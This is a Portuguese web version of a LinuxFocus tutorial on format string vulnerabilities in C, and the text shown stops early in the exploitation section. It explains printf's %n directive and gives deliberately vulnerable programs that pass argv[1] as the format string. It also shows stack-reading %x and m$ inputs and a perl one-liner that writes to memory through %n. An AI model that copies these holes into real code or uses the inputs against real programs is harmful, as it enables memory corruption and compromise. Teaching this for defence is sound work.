<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//pt_BR">
<HTML>
<HEAD>
 <META http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
 <META NAME="GENERATOR" CONTENT="lfparser_2.17">
 <META NAME="LFCATEGORY" CONTENT="Software Development">
<!-- this is used be a number of tools:
 =LF=AUTHOR: Fr&eacute;d&eacute;ric Raynal, Christophe Blaess, Christophe Grenier
 =LF=CAT___: Software Development
 =LF=TITLE_: Evitando Falhas de Seguran&ccedil;a a desenvolver uma aplica&ccedil;&atilde;o - Parte 4: formata&ccedil;&atilde;o de strings
 =LF=NUMBER: 191
 =LF=ANAME_: article191.shtml
 -->
 <TITLE>lf191, Software Development: Evitando Falhas de Seguran&ccedil;a a desenvolver uma aplica&ccedil;&atilde;o - Parte 4: formata&ccedil;&atilde;o de strings</TITLE>
<!-- stylesheet added by lfparser: --> 
<style type="text/css">
<!--
 td.top {font-family: Arial,Geneva,Verdana,Helvetica,sans-serif; font-size:12 }
 pre { font-familiy:monospace,Courier }
 p.cl { color:#EE9500 }
 a.nodec { text-decoration:none }
 p.trans { font-size:8pt; text-align:right }
 p.clbox { width:50%; alignment:center; background-color:#FFD700; border-style:none; border-width:medium; border-color:#FFD700; padding:0.5cm ;  text-align:center }
 p.foot { background-color:#AAAAAA; color:#FFFFFF; border-style:none; border-width:medium; border-color:#AAAAAA; padding:0.5cm ; margin-top:0.1cm; margin-right:1cm; margin-left:1cm; text-align:center }
-->
</style>
 
</HEAD>
<BODY bgcolor="#ffffff" text="#000000">
 <!-- this is generated html code. NEVER use this file for your
 translation work. Instead get the file with the same article number
 and .meta.shtml in its name. Translate this meta file and then
 use lfparser program to generate the final article -->
 <!-- lfparser can be obtained from http://www.linuxfocus.org/~guido/dev/lfparser.html -->

<!-- 2pdaIgnoreStart -->

<!-- start navegation bar -->
 <!-- top navegation bar -->
 <TABLE cellspacing="0" cellpadding="0" border="0" align="center" width="90%">
   <TR bgcolor="#2e2292">
     <TD class="top"><TABLE cellspacing="0" cellpadding="0" border="0" width=
       "100%">
         <TR><TD width="144"><IMG src="../../common/images/logolftop.gif"
           alt="[LinuxFocus-icon]" width="350" height="45" align="left" 
           border="0"></TD>

           <TD class="top">
             <TABLE width="100%">
               <TR align="right">
                 <TD class="top"><A class="nodec" href="../index.shtml"><FONT color=
                 "#DDDDDD">In&iacute;cio</FONT></A> &nbsp;|&nbsp; <A class=
                 "nodec" href="../map.html"><FONT color=
                 "#DDDDDD">Mapa</FONT></A> &nbsp;|&nbsp; <A class=
                 "nodec" href="../indice.html"><FONT color=
                 "#DDDDDD">&Iacute;ndice</FONT></A> &nbsp;|&nbsp; <A class="nodec" href="../Search/index.shtml"><FONT color=
                 "#DDDDDD">Procura</FONT></A> </TD>
               </TR>

               <TR align="right">
                 <TD class="top">
                   <HR width="100%" noshade size="1">
                 </TD>
               </TR>
             </TABLE>
           </TD>
         </TR>
       </TABLE>
     </TD>
   </TR>
 </TABLE>
 <!-- end top navegation bar -->
 <!-- blue bar -->
 <TABLE cellspacing="0" cellpadding="0" border="0" align="center"
 width="90%">
   <TR bgcolor="#00ffff">
     <TD><IMG src="../../common/images/transpix.gif" width="1" height=
     "2" alt=""></TD>
   </TR>
 </TABLE>
 <!-- end blue bar -->
 <!-- bottom navegation bar -->
 <TABLE cellspacing="0" cellpadding="0" border="0" align="center"
 width="94%">
   <TR bgcolor="#000000">
     <TD>
       <TABLE cellspacing="0" cellpadding="1" border="0" width=
       "100%">
         <TR align="center">
           <TD><A class="nodec" href="../News/index.shtml"><FONT color=
           "#FFFFFF">Novidades</FONT></A> </TD>
           <TD><FONT color="#FFFFFF">|</FONT> </TD>
           <TD><A class="nodec" href="../Archives/index.html"><FONT color=
           "#FFFFFF">Arquivos</FONT></A> </TD>
           <TD><FONT color="#FFFFFF">|</FONT> </TD>
           <TD><A class="nodec" href="../Links/index.shtml"><FONT color=
           "#FFFFFF">Links</FONT></A> </TD>
           <TD><FONT color="#FFFFFF">|</FONT> </TD>
           <TD><A class="nodec" href="../aboutus.html"><FONT color=
           "#FFFFFF">Sobre LF</FONT></A> </TD>
         </TR>
       </TABLE>
     </TD>
   </TR>
 </TABLE>
 <!-- end bottom navegation bar -->
<!-- stop navegation bar -->

<!-- SSI_INFO -->

<!-- tr_staticssi include virtual -->
<!-- tr_staticssi exec cmd -->
<!-- addedByLfdynahead ver 1.4 --><TABLE ALIGN="right" border=0><TR><TD ALIGN="right"><FONT SIZE="-1" FACE="Arial,Helvetica">Este artigo est&aacute; dispon&iacute;vel em: <A href="../../English/July2001/article191.shtml">English</a> &nbsp;<A href="../../Deutsch/July2001/article191.shtml">Deutsch</a> &nbsp;<A href="../../Francais/July2001/article191.shtml">Francais</a> &nbsp;<A href="../../Nederlands/July2001/article191.shtml">Nederlands</a> &nbsp;<A href="../../Portugues/July2001/article191.shtml">Portugues</a> &nbsp;<A href="../../Russian/July2001/article191.shtml">Russian</a> &nbsp;<A href="../../Turkce/July2001/article191.shtml">Turkce</a> &nbsp;</FONT></TD></TR></TABLE><br>
 

<!-- 2pdaIgnoreStop -->

<!-- SHORT BIO ABOUT THE AUTHOR -->
<TABLE ALIGN=LEFT BORDER=0 hspace=4 vspace=4 WIDTH="30%" >
<TR>
<TD>

<!-- 2pdaIgnoreStart -->
<!-- PALM DOC -->
<TABLE BORDER=0 hspace=4 vspace=4> <TR> <TD>
<font size=1> <img src="../../common/images/2doc.gif" width=34 align=left border=0 height=22 alt="convert to palm"><a href="http://cgi.linuxfocus.org/cgi-bin/2ztxt">Convert to GutenPalm</a><br>or <a href="http://cgi.linuxfocus.org/cgi-bin/2pda">to PalmDoc</a></font>
</TD> </TR> </TABLE>
<!-- END PALM DOC -->
<!-- 2pdaIgnoreStop -->
<br>
<IMG src="../../common/images/FredCrisBCrisG.jpg" alt=
    "[image of the authors]" width="200" height="150">
<BR>por  <A href="mailto:pappy&#64;users.sourceforge.net,ccb@club-internet.fr,grenier@nef.esiea.fr">Fr&eacute;d&eacute;ric Raynal, Christophe Blaess, Christophe Grenier</A>
<BR><BR>
<I>Sobre o autor:</I><BR>
<P>O Christophe Blaess &eacute; um engenheiro aeron&aacute;utico independente. Ele &eacute; um f&atilde; do
Linux e faz muito do seu trabalho neste sistema. Coordena a tradu&ccedil;&atilde;o das p&aacute;ginas
man publicadas no <I>Projecto de Documenta&ccedil;&atilde;o do Linux</I>.</P><P>O Christophe Grenier &eacute; um estudante no 5º ano na ESIEA, onde, tamb&eacute;m trabalha como
administrador de sistema. Tem uma paix&atilde;o por seguran&ccedil;a de computadores.</P><P>O Frederic Raynal tem utilizado o Linux desde h&aacute; alguns anos
porque n&atilde;o polui, n&atilde;o usa hormonas, n&atilde;o usa MSG ou
farinha animal ... reclama somente o suor e a ast&uacute;cia.</p>
<BR><i>Conte&uacute;do</i>:
<UL>
  <LI><A HREF="#191lfindex0">Onde est&aacute; o perigo ?</A></LI>
  <LI><A HREF="#191lfindex1">Aprofundando a formata&ccedil;&atilde;o de strings</A></LI>
  <LI><A HREF="#191lfindex2">printf() : disseram-me uma mentira !</A></LI>
  <LI><A HREF="#191lfindex3">Tempo de Jogar</A></LI>
  <LI><A HREF="#191lfindex4">A pilha e o printf()</A></LI>
  <LI><A HREF="#191lfindex5">Andando atrav&eacute;s da pilha</A></LI>
  <LI><A HREF="#191lfindex6">Mesmo Mais alto</A></LI>
  <LI><A HREF="#191lfindex7">Em breve ...</A></LI>
  <LI><A HREF="#191lfindex8">Primeiros Passos</A></LI>
  <LI><A HREF="#191lfindex9">Varia&ccedil;ões no mesmo t&oacute;pico</A></LI>
  <LI><A HREF="#191lfindex10">Explorando o bug da formata&ccedil;&atilde;o</A></LI>
  <LI><A HREF="#191lfindex11">O programa vulner&aacute;vel</A></LI>
  <LI><A HREF="#191lfindex12">Primeiro Exemplo</A></LI>
  <LI><A HREF="#191lfindex13">Problemas de mem&oacute;ria: dividir e conquistar</A></LI>
  <LI><A HREF="#191lfindex14">Outras Explora&ccedil;ões</A></LI>
  <LI><A HREF="#191lfindex15">Por favor, D&ecirc;em-me a linha de comandos</A></LI>
  <LI><A HREF="#191lfindex16">Conclus&atilde;o : Como evitar bugs de formata&ccedil;&atilde;o ?</A></LI>
  <LI><A HREF="#191lfindex17">Agradecimentos</A></LI>
  <LI><A HREF="#191lfindex18">Links</A></LI>
  <LI><A HREF="http://cgi.linuxfocus.org/cgi-bin/lftalkback?anum=191&lang=pt">Forma de respostas para este artigo</A></LI>
</UL>

</TD></TR></TABLE>
<!-- HEAD OF THE ARTICLE -->
<br>&nbsp;
<H2>Evitando Falhas de Seguran&ccedil;a a desenvolver uma aplica&ccedil;&atilde;o - Parte 4: formata&ccedil;&atilde;o de strings</H2>
 <IMG src="../../common/images/illustration183.gif" width="100"
    height="100" alt="[article illustration]" hspace="10">
<!-- ABSTRACT OF THE ARTICLE -->
<P><i>Abstrato</i>:
<P>

    De h&aacute; algum tempo para c&aacute; que an&uacute;ncios de mensagens acerca da
explora&ccedil;&atilde;o baseadas na <EM>formata&ccedil;&atilde;o de strings</EM> s&atilde;o mais numerosas.
Este artigo explica de onde vem o perigo e mostrar-lhe-&aacute; que uma tentativa
para guardar seis bytes &eacute; o suficiente para comprometer a seguran&ccedil;a de um
programa.

    </P>
<HR size="2" noshade align="right"><BR>
<!-- BODY OF THE ARTICLE -->


    <A NAME="191lfindex0">&nbsp;</A>
<H2>Onde est&aacute; o perigo ?</H2>


    <P>Muitas falhas de seguran&ccedil;a prov&eacute;m de m&aacute; configura&ccedil;&atilde;o ou desleixo.
Esta regra permanece verdadeira para a formata&ccedil;&atilde;o de strings.</P>

    <P>&Eacute; necess&aacute;rio por vezes, utilizar strings terminadas em null num
programa. Onde dentro do programa n&atilde;o &eacute; importante aqui. Esta
vulnerabilidade &eacute;, de novo, acerca da escrita directa para a mem&oacute;ria. Os
dados para o ataque podem vir da <CODE>stdin</CODE>, ficheiros, etc.
    Uma instru&ccedil;&atilde;o simples &eacute; o suficiente:</P>

    <CENTER>
      <CODE>printf("%s", str);</CODE>
    </CENTER>

    <P>Contudo, um programador pode decidir em guardar tempo e seis bytes
quando s&oacute; escreve:</P>

    <CENTER>
      <CODE>printf(str);</CODE>
    </CENTER>

    <P>Com a "economia" em mente, o programador abre um potencial buraco no
seu trabalho. Ele est&aacute; satisfeito em passar um &uacute;nica string como argumento
a qual ele queria, simplesmente, apresentar sem nenhuma modifica&ccedil;&atilde;o.
Contudo esta string ser&aacute; dividida em partes para se procurar directivas de
formata&ccedil;&atilde;o (<CODE>%d</CODE>, <CODE>%g</CODE>...). Quando um caracter de
formata&ccedil;&atilde;o &eacute; descoberto, o argumento correspondente &eacute; procurado na
pilha.</P>

    <P>Introduziremos as fun&ccedil;ões da fam&iacute;lia <CODE>printf()</CODE>. Pelo
menos esperamos que toda a gente as conhe&ccedil;a ... mas n&atilde;o em detalhe, ent&atilde;o
lidaremos com os aspectos menos conhecidos destas rotinas. Depois veremos a
informa&ccedil;&atilde;o necess&aacute;ria para explorar tal erro. Finalmente veremos como isto
se encaixa num simples exemplo.</P>

    <A NAME="191lfindex1">&nbsp;</A>
<H2>Aprofundando a formata&ccedil;&atilde;o de strings</H2>

    Nesta parte consideraremos a formata&ccedil;&atilde;o de strings. Come&ccedil;aremos com um
recurso acerca do seu uso e descobriremos instru&ccedil;ões de formata&ccedil;&atilde;o pouco
conhecidas que revelaram todo o seu mist&eacute;rio.

    <A NAME="191lfindex2">&nbsp;</A>
<H2><CODE>printf()</CODE> : disseram-me uma mentira !</H2>

    <FONT size="-1">Nota para os residentes n&atilde;o Franceses: n&oacute;s temos no
nosso simp&aacute;tico pa&iacute;s um ciclista corredor que afirma n&atilde;o se ter dopado
enquanto que outros membros da sua equipa o admitiam. Afirmou que se
dopou n&atilde;o o sabia. Ent&atilde;o um famoso fantoche mostrou o uso da frase Fancesa
"on m'aurait menti!" o que me inspirou para este artigo.</FONT>

    <P>Comecemos pelo que todos n&oacute;s aprendemos nos nossos livros de
programa&ccedil;&atilde;o: muitas das fun&ccedil;ões de entrada/sa&iacute;da do C utilizam <EM>a formata&ccedil;&atilde;o
dos dados</EM> o que significa que n&atilde;o s&oacute; providencia os dados para
escrita/leitura bem como o modo de ser apresentado. O programa seguinte
ilustra isto:</P>
<PRE>
/* display.c */
#include &lt;stdio.h&gt;

main() {
  int i = 64;
  char a = 'a';
  printf("int  : %d %d\n", i, a);
  printf("char : %c %c\n", i, a);
}
</PRE>
    Correndo-o, apresenta:
<PRE>
&gt;&gt;gcc display.c -o display
&gt;&gt;./display
int  : 64 97
char : @ a
</PRE>
    O primeiro <CODE>printf()</CODE> escreve o valor da vari&aacute;vel inteira
<CODE>i</CODE> e a vari&aacute;vel caracter <CODE>a</CODE> como <CODE>int</CODE>
(isto &eacute; feito usando <CODE>%d</CODE>), o que leva <CODE>a</CODE> apresentar
o valor ASCII. Por outro lado, o segundo <CODE>printf()</CODE> converte a
vari&aacute;vel inteira <CODE>i</CODE> para o correspondente c&oacute;digo ASCII que &eacute;
64.

    <P>Nada de novo - tudo conforme as muitas fun&ccedil;ões com um prot&oacute;tipo
semelhante &agrave; fun&ccedil;&atilde;o <CODE>printf()</CODE>:</P>

    <OL>
      <LI>um argumento, na forma de uma string de caracteres(<CODE>const
      char *format</CODE>) &eacute; usado para especificar o formato seleccionado;</LI>

      <LI>um ou mais argumentos opcionais, contendo as vari&aacute;veis nas quais
os valores s&atilde;o formatados segundo as indica&ccedil;ões dadas na string anterior.</LI>
    </OL>

    <P>Muitas das nossas li&ccedil;ões de programa&ccedil;&atilde;o terminam aqui,
providenciando uma lista n&atilde;o exaustiva das poss&iacute;veis formata&ccedil;ões (<CODE>%g</CODE>,
    <CODE>%h</CODE>, <CODE>%x</CODE>, e o uso do caracter ponto
    <CODE>.</CODE> para a precis&atilde;o...) Mas, existe um outro nunca
falado: <CODE>%n</CODE>. Eis o que diz a p&aacute;gina do manual do
<CODE>printf</CODE> acerca dele:</P>

    <CENTER>
      <TABLE width="90%">
        <TR>
          <TD>O n&uacute;mero de caracteres escritos at&eacute; ent&atilde;o &eacute; guardado num
indicador <CODE>int *</CODE> (ou variante) num argumento de ponteiro.
Nenhum argumento &eacute; convertido.</TD>
        </TR>
      </TABLE>
    </CENTER>

    <P>Eis aqui a coisa mais importante deste artigo: <FONT color=
    "#ff0000">este argumento torna poss&iacute;vel a escrita numa vari&aacute;vel do tipo
ponteiro</FONT> , mesmo quando &eacute; usado numa fun&ccedil;&atilde;o de apresenta&ccedil;&atilde;o !</P>

    <P>Antes de continuarmos, deixem-nos dizer que esta formata&ccedil;&atilde;o tamb&eacute;m
existe para as fun&ccedil;ões da fam&iacute;lia <CODE>scanf()</CODE> e
<CODE>syslog()</CODE>.</P>

    <A NAME="191lfindex3">&nbsp;</A>
<H2>Tempo de Jogar</H2>


    <P>Vamos estudar o uso e o comportamento desta formata&ccedil;&atilde;o atrav&eacute;s de
pequenos programas. O primeiro, <CODE>printf1</CODE>, mostra um simples
uso:</P>
<PRE>
/* printf1.c */
1: #include &lt;stdio.h&gt;
2:
3: main() {
4:   char *buf = "0123456789";
5:   int n;
6:
7:   printf("%s%n\n", buf, &amp;n);
8:   printf("n = %d\n", n);
9: }
</PRE>

    <P>A primeira chamada do <CODE>printf()</CODE> apresenta a string
    "<CODE>0123456789</CODE>" que cont&eacute;m 10 caracteres. A pr&oacute;xima
formata&ccedil;&atilde;o <CODE>%n</CODE> escreve o valor da vari&aacute;vel <CODE>n</CODE>:</P>
<PRE>
&gt;&gt;gcc printf1.c -o printf1
&gt;&gt;./printf1
0123456789
n = 10
</PRE>
    Transformemos, ligeiramente, o nosso programa  substituindo a instru&ccedil;&atilde;o
<CODE>printf()</CODE> da linha 7 pela seguinte:
<PRE>
7:   printf("buf=%s%n\n", buf, &amp;n);
</PRE>

    <P>Correndo este novo programa, confirma a nossa ideia: a vari&aacute;vel
<CODE>n</CODE> &eacute; agora 14, (10 caracteres da vari&aacute;vel string
<CODE>buf</CODE> mais os 4 caracteres da string constante
"<CODE>buf=</CODE>", contida na string de formata&ccedil;&atilde;o).</P>

    <P>Ent&atilde;o, sabemos que a formata&ccedil;&atilde;o <CODE>%n</CODE> conta cada caracter
que aparece na string de formata&ccedil;&atilde;o. Mais adiante, como demonstraremos com
o programa <CODE>printf2</CODE>, conta ainda mais:</P>
<PRE>
/* printf2.c */

#include &lt;stdio.h&gt;

main() {
  char buf[10];
  int n, x = 0;

  snprintf(buf, sizeof buf, "%.100d%n", x, &amp;n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
}
</PRE>
    O uso da fun&ccedil;&atilde;o <CODE>snprintf()</CODE> &eacute; para prevenir de um buffer
overflow. A vari&aacute;vel <CODE>n</CODE> devia ser 10:
<PRE>
&gt;&gt;gcc printf2.c -o printf2
&gt;&gt;./printf2
l = 9
n = 100
</PRE>
    Estranho ? De facto, a formata&ccedil;&atilde;o <CODE>%n</CODE> considera a
quantidade de caracteres que <FONT color="#ff0000">devem</FONT> ter sido
escritos. Este exemplo que a truncagem tendo em conta o tamanho &eacute; ignorada.

    <P>O que &eacute; que realmente acontece ? A string de formata&ccedil;&atilde;o &eacute; estendida
completamente antes de ser cortada e depois copiada para o buffer de
destino:</P>
<PRE>
/* printf3.c */

#include &lt;stdio.h&gt;

main() {
  char buf[5];
  int n, x = 1234;

  snprintf(buf, sizeof buf, "%.5d%n", x, &amp;n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
  printf("buf = [%s] (%d)\n", buf, sizeof buf);
}
</PRE>
   O <CODE>printf3</CODE> cont&eacute;m algumas diferen&ccedil;as comparativamente ao  <CODE>printf2</CODE>:

    <UL>
      <LI>o tamanho do buffer &eacute; reduzido para 5 bytes</LI>

      <LI>a precis&atilde;o na string de formata&ccedil;&atilde;o &eacute;, agora definida para 5;</LI>

      <LI>o conte&uacute;do do buffer &eacute; finalmente apresentado.</LI>
    </UL>
    Obtemos a seguinte apresenta&ccedil;&atilde;o:
<PRE>
&gt;&gt;gcc printf3.c -o printf3
&gt;&gt;./printf3
l = 4
n = 5
buf = [0123] (5)
</PRE>
    As duas primeiras linhas n&atilde;o s&atilde;o nenhuma surpresa. A &uacute;ltima ilustra o
comportamento da fun&ccedil;&atilde;o <CODE>printf()</CODE> :

    <OL>
      <LI>A string &eacute; substitu&iacute;da, segundo os comandos <A
href="#foot1">1</A></SUP> que cont&eacute;m, o que provid&ecirc;ncia a
string "<CODE>00000\0</CODE>";</LI>

      <LI>As vari&aacute;veis s&atilde;o escritas onde e como deviam, o que &eacute; ilustrado
pela c&oacute;pia do <CODE>x</CODE> no nosso exemplo. Depois a string &eacute; algo
parecido com "<CODE>01234\0</CODE>";</LI>

      <LI>Por &uacute;ltimo, <CODE>sizeof buf - 1</CODE> bytes<SUP><A href=
      "#foot2">2</A></SUP> a partir desta string &eacute; copiado na string de
destino <CODE>buf</CODE>, o que nos d&aacute; "<CODE>0123\0</CODE>"</LI>
    </OL>
    Isto n&atilde;o &eacute; perfeitamente assim mas reflecte o processo geral. Para mais
detalhes, o leitor deve referir-se aos sources da <CODE>GlibC</CODE>, em
particular a <CODE>vfprintf()</CODE> no direct&oacute;rio
<CODE>${GLIBC_HOME}/stdio-common</CODE>.

    <P>Antes de terminarmos esta parte, adicionemos que &eacute; poss&iacute;vel de obter
os mesmos resultados escrevendo a string de formata&ccedil;&atilde;o de um modo
ligeiramente diferente. Previamente, utiliz&aacute;mos a <EM>precis&atilde;o</EM> (o
ponto '.'). Uma outra combina&ccedil;&atilde;o de instru&ccedil;ões de formata&ccedil;&atilde;o conduz-nos a
um resultado id&ecirc;ntico: <CODE>0n</CODE>, onde o <CODE>n</CODE> &eacute; o n&uacute;mero do
<EM>comprimento</EM> , e o <CODE>0</CODE> significa que os espa&ccedil;os devem
ser trocados por 0 no caso de todo o comprimento n&atilde;o ser preenchido.</P>

    <P>Agora que sabe tudo acerca da formata&ccedil;&atilde;o de strings, e muito
especialmente acerca da formata&ccedil;&atilde;o <CODE>%n</CODE>, estudaremos os seus
comportamentos.</P>

    <A NAME="191lfindex4">&nbsp;</A>
<H2>A pilha e o <CODE>printf()</CODE></H2>


    <A NAME="191lfindex5">&nbsp;</A>
<H2>Andando atrav&eacute;s da pilha</H2>


    <P>O pr&oacute;ximo programa gui&aacute;r-nos-&agrave; em toda esta sec&ccedil;&atilde;o para
compreendermos como o <CODE>printf()</CODE> e a pilha se relacionam:</P>
<PRE>
/* stack.c */
 1: #include &lt;stdio.h&gt;
 2:
 3: int
 4  main(int argc, char **argv)
 5: {
 6:   int i = 1;
 7:   char buffer[64];
 8:   char tmp[] = "\x01\x02\x03";
 9:
10:   snprintf(buffer, sizeof buffer, argv[1]);
11:   buffer[sizeof (buffer) - 1] = 0;
12:   printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
13:   printf ("i = %d (%p)\n", i, &amp;i);
14: }
</PRE>
    Este Programa s&oacute; copia um argumento para o vector de caracteres do
<CODE>buffer</CODE>. Tomaremos cuidado para n&atilde;o escrevermos por cima de
alguns dados importantes ( a formata&ccedil;&atilde;o de strings s&atilde;o, realmente, mais
correctas que os excedimentos de buffer ;-)
<PRE>
&gt;&gt;gcc stack.c -o stack
&gt;&gt;./stack toto
buffer : [toto] (4)
i = 1 (bffff674)
</PRE>
    Trabalha como esper&aacute;vamos :) Antes de avan&ccedil;armos examinemos o que
acontece do ponto de vista da pilha ao chamar o <CODE>snprintf()</CODE> na linha 8.

    <CENTER>
      <TABLE width="90%" nosave="">
        <TR>
          <TD><A name="snprintf1">Fig. 1</A> : A pilha no inicio do <CODE>snprintf()</CODE> </TD>
        </TR>

        <TR>
          <TD><IMG src="../../common/images/article191/fs1.jpg" alt=
          "snprintf()"> </TD>
        </TR>
      </TABLE>
    </CENTER>

    <P>A Figura <A href="#snprintf1">1</A> descreve os estado da pilha
quando o programa entra na fun&ccedil;&atilde;o <CODE>snprintf()</CODE> (veremos que isto
n&atilde;o &eacute; verdade ... mas isto &eacute; s&oacute; para lhe dar uma ideia do que est&aacute; a
acontecer). N&atilde;o nos import&aacute;mos com o registo <CODE>%esp</CODE>. Est&aacute;
algures abaixo do registo <CODE>%ebp</CODE>. Como vimos num artigo
anterior, os dois primeiros sectores localizados no <CODE>%ebp</CODE> e
<CODE>%ebp+4</CODE> cont&ecirc;m as respectivas salvaguardas dos registos
<CODE>%ebp</CODE> and <CODE>%ebp+4</CODE>. Seguindo-se os argumentos da
fun&ccedil;&atilde;o <CODE>snprintf()</CODE>: </P>

    <OL>
      <LI>Endere&ccedil;o de destino;</LI>

      <LI>O n&uacute;mero de caracteres a serem copiados;</LI>

      <LI>o endere&ccedil;o da string de formata&ccedil;&atilde;o <CODE>argv[1]</CODE> que
tamb&eacute;m se comporta como dado.</LI>
    </OL>
    Por &uacute;ltimo, a pilha &eacute; preenchida at&eacute; cima com o vector <CODE>tmp</CODE>
de 4 caracteres , com os 64 bytes da vari&aacute;vel buffer e a vari&aacute;vel inteira;

    <P>A string <CODE>argv[1]</CODE> &eacute; usada ao mesmo tempo como string de
formata&ccedil;&atilde;o e de dados. Segundo a ordem normal da rotina
<CODE>snprintf()</CODE> o, <CODE>argv[1]</CODE> aparece em vez da string de
formata&ccedil;&atilde;o. Visto que pode utilizar a string de formata&ccedil;&atilde;o sem directivas
de formata&ccedil;&atilde;o (s&oacute; texto), est&aacute; tudo bem :) </P>

    <P>O que &eacute; que acontece quando <CODE>argv[1]</CODE> cont&eacute;m tamb&eacute;m dados
de formata&ccedil;&atilde;o ? ? Normalmente, <CODE>snprintf()</CODE> interpreta-as como
est&atilde;o ... e n&atilde;o existe nenhuma raz&atilde;o para agir de outro modo ! Mas aqui,
pode querer saber quais os argumentos que v&atilde;o ser usados para a formata&ccedil;&atilde;o
das strings de resultado. De facto o <CODE>snprintf()</CODE> extrai os
dados da pilha ! Pode ver isto a partir do nosso programa
<CODE>stack</CODE>:

<PRE>
&gt;&gt;./stack "123 %x"
buffer : [123 30201] (9)
i = 1 (bffff674)
</PRE>

    <P>Primeiro, a string "<CODE>123</CODE> " &eacute; copiada para o
<CODE>buffer</CODE>. O <CODE>%x</CODE> pede ao <CODE>snprintf()</CODE> para
traduzir o seu primeiro valor para hexadecimal. Na figura <A
href="#snprintf1">1</A>, o primeiro argumento n&atilde;o &eacute; mais do que a vari&aacute;vel
<CODE>tmp</CODE> que cont&eacute;m a string <CODE>\x01\x02\x03\x00</CODE>. &Eacute;
apresentado como sendo o n&uacute;mero hexadecimal 0x00030201 segundo o nosso
processador little endian. </P>
<PRE>
&gt;&gt;./stack "123 %x %x"
buffer : [123 30201 20333231] (18)
i = 1 (bffff674)
</PRE>

    <P>Adicionando uma segunda vari&aacute;vel <CODE>%x</CODE> permite-lhe subir
na pilha. Dia ao <CODE>snprintf()</CODE> para procurar pelos pr&oacute;ximos 4
bytes ap&oacute;s a vari&aacute;vel <CODE>tmp</CODE>. Estes 4 bytes s&atilde;o de facto os
primeiros 4 bytes do <CODE>buffer</CODE>. Contudo, o <CODE>buffer</CODE>
cont&eacute;m a string  "<CODE>123</CODE> ", a qual pode ser vista como o n&uacute;mero
hexadecimal 0x20333231 (0x20=space, 0x31='1'...). Ent&atilde;o, para cada
<CODE>%x</CODE>, o <CODE>snprintf()</CODE> "salta" 4 bytes para al&eacute;m do
<CODE>buffer</CODE> ( 4 porque o <CODE>unsigned int</CODE> s&oacute; ocupa 4 bytes no processador x86). Esta
vari&aacute;vel actua como agente duplo, pois:</P>

    <OL>
      <LI>Escrevendo no destino;</LI>

      <LI>lendo dados de entrada a partir da formata&ccedil;&atilde;o.</LI>
    </OL>
    Podemos "percorrer" a pilha desde que o nosso pequeno buffer contenha
bytes:
<PRE>
&gt;&gt;./stack "%#010x %#010x %#010x %#010x %#010x %#010x"
buffer : [0x00030201 0x30307830 0x32303330 0x30203130 0x33303378
         0x333837] (63)
i = 1 (bffff654)
</PRE>

    <A NAME="191lfindex6">&nbsp;</A>
<H2>Mesmo Mais alto</H2>

    O m&eacute;todo anterior permitiu-nos ver informa&ccedil;&atilde;o tal como o endere&ccedil;o de
retorno da fun&ccedil;&atilde;o que criou a pilha contendo o buffer. Contudo &eacute; poss&iacute;vel,
com a correcta formata&ccedil;&atilde;o, ver para al&eacute;m do buffer vulner&aacute;vel.

    <P>Pode, ocasionalmente, encontrar um formato &uacute;til quando &eacute; necess&aacute;rio
trocar entre os par&acirc;metros (por exemplo, ao apresentar a data e o tempo).
Adicion&aacute;mos o formato <CODE>m$</CODE>, logo ap&oacute;s o <CODE>%</CODE>, onde o
<CODE>m</CODE> &eacute; um inteiro &gt;0. Isto d&aacute; a posi&ccedil;&atilde;o da vari&aacute;vel para
utilizar uma lista de argumentos (come&ccedil;ando por 1):</P>
<PRE>
/* explore.c */
#include &lt;stdio.h&gt;

  int
main(int argc, char **argv) {

  char buf[12];

  memset(buf, 0, 12);
  snprintf(buf, 12, argv[1]);

  printf("[%s] (%d)\n", buf, strlen(buf));
}
</PRE>

    <P>O formato utilizando <CODE>m$</CODE> permite-nos ir <FONT
    color="red">at&eacute; onde queremos</FONT> na pilha, como o pod&iacute;amos fazer
com o <CODE>gdb</CODE>:</P>
<PRE>
&gt;&gt;./explore %1\$x
[0] (1)
&gt;&gt;./explore %2\$x
[0] (1)
&gt;&gt;./explore %3\$x
[0] (1)
&gt;&gt;./explore %4\$x
[bffff698] (8)
&gt;&gt;./explore %5\$x
[1429cb] (6)
&gt;&gt;./explore %6\$x
[2] (1)
&gt;&gt;./explore %7\$x
[bffff6c4] (8)
</PRE>

    <P>O caracter <CODE>\</CODE> &eacute; necess&aacute;rio aqui para proteger o
<CODE>$</CODE> e para prevenir a shell do interpretar. Nas tr&ecirc;s primeiras
chamadas visit&aacute;mos o conte&uacute;do da vari&aacute;vel <CODE>buf</CODE>. Com
<CODE>%4\$x</CODE>, obtemos o registo guardado <CODE>%ebp</CODE>, e com o
pr&oacute;ximo <CODE>%5\$x</CODE>, o registo guardado <CODE>%eip</CODE> (tamb&eacute;m
conhecido como endere&ccedil;o de retorno). Os 2 resultados apresentados aqui,
mostram o valor da vari&aacute;vel <CODE>argc</CODE> e o endere&ccedil;o contido em
<CODE>*argv</CODE> (lembre-se que <CODE>**argv</CODE> quer dizer que
<CODE>*argv</CODE> &eacute; um vector de endere&ccedil;os).</P>

    <A NAME="191lfindex7">&nbsp;</A>
<H2>Em breve ...</H2>


    <P>Este exemplo ilustra que os formatos fornecidos permitem-nos
percorrer a pilha &agrave; procura de informa&ccedil;&atilde;o, como o endere&ccedil;o de retorno de
uma fun&ccedil;&atilde;o, um endere&ccedil;o ... Contudo vimos que no princ&iacute;pio deste artigo
pod&iacute;amos escrever usando fun&ccedil;ões do tipo <CODE>printf()</CODE>: n&atilde;o vos
parece isto uma potencial e maravilhosa vulnerabilidade ? </P>

    <A NAME="191lfindex8">&nbsp;</A>
<H2>Primeiros Passos</H2>


    <P>Voltemos ao programa <CODE>stack</CODE>:</P>
<pre>
&gt;&gt;perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"'
buffer : [d&ouml;&yuml;&iquest;000000000000000000000000000000000000000000000000
00000000000] (63)
i = 500 (bffff664)

</pre>
    Damos como string de entrada:

    <OL>
      <LI>o endere&ccedil;o da vari&aacute;vel <CODE>i</CODE>;</LI>

      <LI>uma instru&ccedil;&atilde;o de formata&ccedil;&atilde;o (<CODE>%.496x</CODE>);</LI>

      <LI>uma segunda instru&ccedil;&atilde;o de formata&ccedil;&atilde;o (<CODE>%n</CODE>) que
escrever&aacute; para dentro do endere&ccedil;o dado. </LI>
    </OL>
